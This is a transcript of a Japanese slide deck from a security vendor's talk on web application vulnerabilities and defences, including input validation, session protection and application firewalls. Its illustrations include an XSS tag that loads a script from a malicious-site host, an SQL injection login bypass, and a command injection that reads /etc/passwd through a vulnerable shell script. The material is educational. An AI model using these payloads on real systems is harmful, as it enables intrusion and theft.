Webアプリのセキュリティ

Download Report

Transcript Webアプリのセキュリティ

Webアプリのセキュリティ
ここが危ない!!便利サイト
SSE・エスシー・コムテクス・カンパニー
セキュリティ技術部 部長 二木 真明
Sumisho Electronics Co., Ltd. All right reserved.
1
Agenda



Web サイトの構造
従来のWebセキュリティとその問題点
Web アプリケーションに潜む脆弱性


Hidden パラメータの危険性
不正文字入力の影響




クロスサイトスクリプティング
SQLインジェクション
セッションIDとCookie
Webサイトを守るには
Sumisho Electronics Co., Ltd. All right reserved.
2
従来のWebセキュリティ

Webサーバのセキュリティ





サーバの要塞化
セキュリティパッチの適用
ウイルス対策
アクセスログの監視
ネットワークのセキュリティ


ファイアウォールによる保護(DMZへの配置)
IDS (侵入検知システム)による監視
Sumisho Electronics Co., Ltd. All right reserved.
3
Webサイトの構造

最近のWebサイト
クライアント


Web サーバ

動的ページの多用
サーバサイド処理
データベース連携
動的ページ
(アプリケーション)
固定ページ
(ファイル)
アプリケーション
サーバ
データベース
Sumisho Electronics Co., Ltd. All right reserved.
4
状況の変化

Webアプリケーションの高度化




対話型アプリケーションの増加
動的生成ページを多用
データベース連携
Webサービスの一般化


重要情報の取り扱い
重要業務への利用
Sumisho Electronics Co., Ltd. All right reserved.
5
従来型セキュリティの問題点

プラットホームの保護が主体


サーバOSやWebサーバソフトウエアに対する
攻撃を想定
アプリケーションそのものの脆弱性を考慮して
いない
Sumisho Electronics Co., Ltd. All right reserved.
6
アプリケーションの脆弱性

アプリケーション=ソフトウエア




バグ(プログラムミス)は不可避
セキュリティの観点から見た仕様の不備の可能性
想定外の使用法(異常なデータ入力)を考慮していな
い可能性
アプリケーション脆弱性のリスク



重要データの流出または破壊、改竄の可能性
サービスの停止・妨害の可能性
詐欺的行為の可能性
Sumisho Electronics Co., Ltd. All right reserved.
7
Webアプリケーションの特徴

動的ページ生成



フォーム等でのデータ入力
処理結果をHTML等に埋め込んで出力
プラットホーム非依存、軽量


Webブラウザ上での処理
クライアントの機種・OSを選ばない


ブラウザは選ぶ・・・可能性ありだが
クライアントの負荷が低い
Sumisho Electronics Co., Ltd. All right reserved.
8
Webアプリケーションの特徴

認証とセッション管理の構築が必要



HTTP は1ページ(表示)単位で完結するプロ
トコル(セッションの概念がない)
ユーザ認証と複数ページによる処理順序の管
理はアプリケーションの責任
アプリケーション(プログラム)がページ(処理)
単位で完結するため、認証情報と処理順序は
ユーザ(ブラウザ)を介して引き継ぐ必要があ
る
Sumisho Electronics Co., Ltd. All right reserved.
9
アプリケーションへの攻撃





隠しパラメータ/既定値の改竄
Web フォームへの不正データ入力
クッキー盗用、改竄
セッションIDの盗用、改竄
バッファオーバフロー
Sumisho Electronics Co., Ltd. All right reserved.
10
隠し(Hidden)パラメータ

Webフォームに含まれる「表示されない」値




サーバからフォームの一部として送信される。
ブラウザ表示上では、参照、変更は不可
フォーム送信時にサーバにそのまま返送され、
フォームの識別などに使用される。
隠しパラメータの確認方法


ブラウザ上でのソース表示
ブラウザ以外のツールによるアクセス
Sumisho Electronics Co., Ltd. All right reserved.
11
隠しパラメータの利用

ユーザの識別(セッションID)



認証情報をページ間で引き継ぎ
処理順序やフォームの識別
ページ間の情報受け渡し
Sumisho Electronics Co., Ltd. All right reserved.
12
隠しパラメータの受け渡し
Webアプリケーション
<input type=hidden
name=“seq” value=“1”>
<input type=hidden
name=“seq” value=“2”>
num=1
ページ1
<input type=hidden
name=“seq” value=“3”>
num=3
num=2
ページ2
Sumisho Electronics Co., Ltd. All right reserved.
ページ3
13
既定値パラメータ


ドロップダウンリスト、ラジオボタン、チェッ
クボックスなど、選択時に送信される値
隠しパラメータ同様にHTMLに埋め込まれ、
選択された項目を識別するために使用
<input type=radio name=“radio-button-1”>
<option value=“opt1”>選択肢1
<option value=“opt2”>選択肢2
・・・・・・・・・・・・・・・・・・・・・・・・・・・・
</input>
選択肢1
選択肢2
・・・・
・・・・
Sumisho Electronics Co., Ltd. All right reserved.
14
パラメータ改ざんへの対応



既定値パラメータといえども、入力のチェッ
クを必ず行うこと。(不正値の排除)
特殊な処理(管理機能などの特権処理な
ど)を判断する場合は、必ず認証機能と併
用すること。
可能ならばパラメータを暗号化しておくこと。
Sumisho Electronics Co., Ltd. All right reserved.
15
Webフォームへの不正データ入力

想定外の入力の悪影響

入力が処理結果ページ内に反映される場合


入力を使用してデータベース検索を行う場合


表示やブラウザ上での処理に影響
検索条件等に影響
入力を使用して各種コマンドを起動する場合

実行内容に影響
Sumisho Electronics Co., Ltd. All right reserved.
16
出力ページへのタグ混入

入力データにHTMLタグを混入したら

チェックしていないと結果ページに出力される





書式やページ構成を意図的に改変
不正なスクリプトなどを混入
他のWebサイトへの誘導
....などなど
隠しフィールドに対しても実行できる

隠しフィールドに与えた既定値を処理に使用し
ているケースは要注意
Sumisho Electronics Co., Ltd. All right reserved.
17
クロスサイトスクリプティング
(XSS/CSS)
Bad.jsを読み込んで実行
悪意のサイト
Web ブラウザ
処理結果
xxxxxxxxxxx
<HTML>
……………………….
……..<script src=“http://..
></script>
………………. </HTML>
yyyyyyyyyyyy
入力
善意のWebアプリ
<script type=javascript
src=http://badsite.co.jp/bad.js>
</script>
Sumisho Electronics Co., Ltd. All right reserved.
18
データベース検索条件の不正操作

入力データを検索処理のSQL文の一部に
組み込んで使用している場合

入力データに不正な記号などを混入すること
で検索条件を操作できる場合がある
User
入力1
Pass
入力2
select * from user-table where user=“入力1” and password=“入力2”;
Sumisho Electronics Co., Ltd. All right reserved.
19
SQLインジェクションの例
User
futagi” ; --
Pass
*********
select * from user-table where user=“futagi” ; -- ” and password=“password”;
問い合わせ条件をここで閉じられてしまう。
コメントアウトされてしまう
*結果として、パスワードに関係なく問い合わせが成功してしまう。
Sumisho Electronics Co., Ltd. All right reserved.
20
シェルコマンドの実行
表示ファイル名入力
名称
#!/bin/sh
*********
ブラウザ
ファイルの内容
xxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxx
($name に入力を読み込み)
…………………
echo “<HTML>”;
echo “<BODY>”;
echo “<H1>ファイルの内容</H1>”;
echo “<PRE>”;
cd /usr/docdir; cat $name;
echo “</PRE>”;
echo “<P>以上</P>”
echo “</BODY></HTML>”;
以上
Sumisho Electronics Co., Ltd. All right reserved.
21
コマンド処理の悪用
表示ファイル名入力
名称
#!/bin/sh
/etc/passwd
ブラウザ
ファイルの内容
root:x:0:10:root user:/:..
…………….
以上
($name に入力を読み込み)
…………………
echo “<HTML>”;
echo “<BODY>”;
echo “<H1>ファイルの内容</H1>”;
echo “<PRE>”;
cd /usr/docdir; cat $name;
echo “</PRE>”;
echo “<P>以上</P>”
echo “</BODY></HTML>”;
Sumisho Electronics Co., Ltd. All right reserved.
22
不正入力の防止




<>;“‘といった記号の入力からの排除
結果ページへの出力の際のタグ関連文字
の無効化(エスケープ処理)
検索文字列作成時の不正文字排除もしく
はエスケープ処理
Hidden 、固定値パラメータにも一般の入
力と同様のチェックを行うか、改ざんチェッ
クを必ず行うこと。
Sumisho Electronics Co., Ltd. All right reserved.
23
セッション管理

セッションとは

ログイン(最初の接続)からログアウト(使用終
了)までの一連の作業の流れ
1セッション
ログイン
作業1
作業2
作業3
・・・・・・・・・・・・
ログアウト
Webアプリケーション
Sumisho Electronics Co., Ltd. All right reserved.
24
セッション管理の方法

セッションIDの受け渡し


認証時に、ユーザ情報とセッション情報をクラ
イアント側に引き渡し、ログアウトまでの間、ク
ライアントからの送信データに必ず含まれるよ
うにする。
受け渡し方法


Hidden パラメータを使う方法
Cookie を使う方法
Sumisho Electronics Co., Ltd. All right reserved.
25
Cookie とは

サーバからブラウザに埋め込む小さな
データ


一旦埋め込むと、以後、そのサーバへのリク
エストには必ずそのCookieが添付される
認証、セッション管理目的のほか、サイトのア
クセス履歴の収集などの目的でも使用される
Sumisho Electronics Co., Ltd. All right reserved.
26
Cookie受け渡しの例
1セッション
ログイン
作業1
認証
Cookie生成
Cookie:
SessionーID=A9xYNml3z
作業2
Cookie
確認
作業3
Cookie
確認
・・・・・・・・・・・・
Cookie
内容無効化
Cookie
確認
Webアプリケーション
ログアウト
Cookie:
SessionーID=xxxxxxx
Sumisho Electronics Co., Ltd. All right reserved.
27
セッションIDの保護

セッションIDに関して生じうる危険性




セッションIDの解読(ユーザ、パスワード盗用)
セッションID改ざんによる不正アクセス
セッションIDそのものの盗用によるセッション乗っ取り
保護方法




セッションIDの暗号化、改ざん検知機構の導入
セッションIDに対する有効期限の設定
セッションIDへのクライアントホスト識別情報の付加
.... etc
Sumisho Electronics Co., Ltd. All right reserved.
28
Cookie使用時の保護対策

SSL と Secure Mode Cookie の使用

通信盗聴対策(Cookie 盗聴によるセッション
乗っ取りなどに対する保護)
Secure Mode Cookie: 暗号化されていない経路への Cookie 送信を禁止するモード
Sumisho Electronics Co., Ltd. All right reserved.
29
Webアプリケーション開発サイクル
導入・運用
総合テスト
単体テスト
監査・見直し
バグ
製作(修正)
設計上の問題
設計(修正)
企画
Sumisho Electronics Co., Ltd. All right reserved.
30
基本としての考え方

アプリケーション脆弱性排除はソフトウエア
エンジニアリングの課題



設計者、製作者に対する教育
開発過程におけるセキュリティの観点からの
品質保証の導入
セキュリティ専門担当者による監査
Sumisho Electronics Co., Ltd. All right reserved.
31
アプリケーション脆弱性と開発サイクル

従来の開発工程に加え、脆弱性の検査工
程が必要



セキュリティの観点からの設計レビュー
総合試験過程での脆弱性検査
セキュリティを考慮することによる課題


開発、テスト期間・工数の増加
開発済み、運用中のアプリケーションの取り扱
い
Sumisho Electronics Co., Ltd. All right reserved.
32
ありがちな問題

総合試験で脆弱性がみつかった


設計上の問題に依存していて、改修に時間が
かかる
リリース期限が迫っている・・・
Sumisho Electronics Co., Ltd. All right reserved.
33
ありがちな問題

既に運用中のアプリケーションが脆弱性を
内包している可能性



検査を行うことが必要だが運用への影響が心
配
見つかった脆弱性を修正したいが、開発元と
のコミュニケーションが難しい。またはエンジニ
アを確保できない。
開発元が修正を行ったが、動作をすべて確認
するまでリリースしたくない
Sumisho Electronics Co., Ltd. All right reserved.
34
現実的な対応

脆弱性はなくならない?


ソフトウエアの宿命(バグ)
脆弱性改修に時間と手間がかかる

脆弱性を隠蔽できるようなシステムの導入に
よる時間稼ぎ(アプリケーションファイアウォー
ル) あくまで時間稼ぎ・・・にしておきたいが・・・・・
Sumisho Electronics Co., Ltd. All right reserved.
35
アプリケーションファイアウォール


Webアプリケーションなど、一般のアプリ
ケーションプロトコルさらに上位にあるカス
タムアプリケーション保護を目的とするファ
イアウォール。
Layer 7 ではない!!!

強いて言うならば、Layer≧8
Sumisho Electronics Co., Ltd. All right reserved.
36
プロトコル階層とソフトウエア階層
コンピュータソフトウエアの階層
ユーザアプリケーション
プロトコル階層(OSI)
アプリケーションサーバ
7:アプリケーション層
Web サーバ
アプリケーション
ファイアウォール
6:プレゼンテーション層
5:セッション層
4:トランスポート層
オペレーティングシステム
侵入検知・防御システム 3:ネットワーク層
2:データリンク層
デバイスドライバ
ハードウエア
ファイアウォール
1:物理層
Sumisho Electronics Co., Ltd. All right reserved.
37
WebアプリケーションF/W




フォームフィールドに対する不正入力の
チェック(不正な記号入力、データあふれ)
隠しフィールド、既定値改ざんのチェック
特定ページへの直接アクセスの制限
Cookieの保護
・・・・など・・・・・・・
Sumisho Electronics Co., Ltd. All right reserved.
38
アプリケーションF/Wの配置と動作
Internet
Router
・自分自身が、外部から見た場合にサーバとして振る舞う。(リバースプロキシサーバの動作)
・一旦受け取ったリクエストを検査してからWebサーバに引き渡し
・サーバからクライアントに引き渡すデータを記憶して、リクエストの検査に利用
ー隠しフィールドの改ざんチェック
ーリンクの学習
など
・Cookie の暗号化、改ざん防止など
DMZ=緩衝セグメント
NW-FW
App-FW
Webサーバ
メールサーバ
内部ネットワーク
Sumisho Electronics Co., Ltd. All right reserved.
39
アプリケーションF/Wは必要か?

セキュアなアプリばかりなら不要になる?


そう望みたい・・・・けれど現実は・・・・・
少しばかりの脆弱性のために導入する?


サービスの重要度によって答えは異なる。
製品にその他の付加価値があれば・・・・




ロードバランサー機能
SSLアクセラレーション機能
仮想Webサイトのサポート
ボトルネックにならなきゃいいけど・・・・・

当然ながら、性能は重視・・・・
Sumisho Electronics Co., Ltd. All right reserved.
40
結論

次のセッションを聞いて考えましょう・・・・・
ご静聴ありがとうございました。
Copyright (C) Sumisho Electronics / SC-Comtex Company
All right reserved. 原則として、無断使用、転載を禁止します。
コピー、再配布について全体を無修正で行う場合はこの限りではありません。
Sumisho Electronics Co., Ltd. All right reserved.
41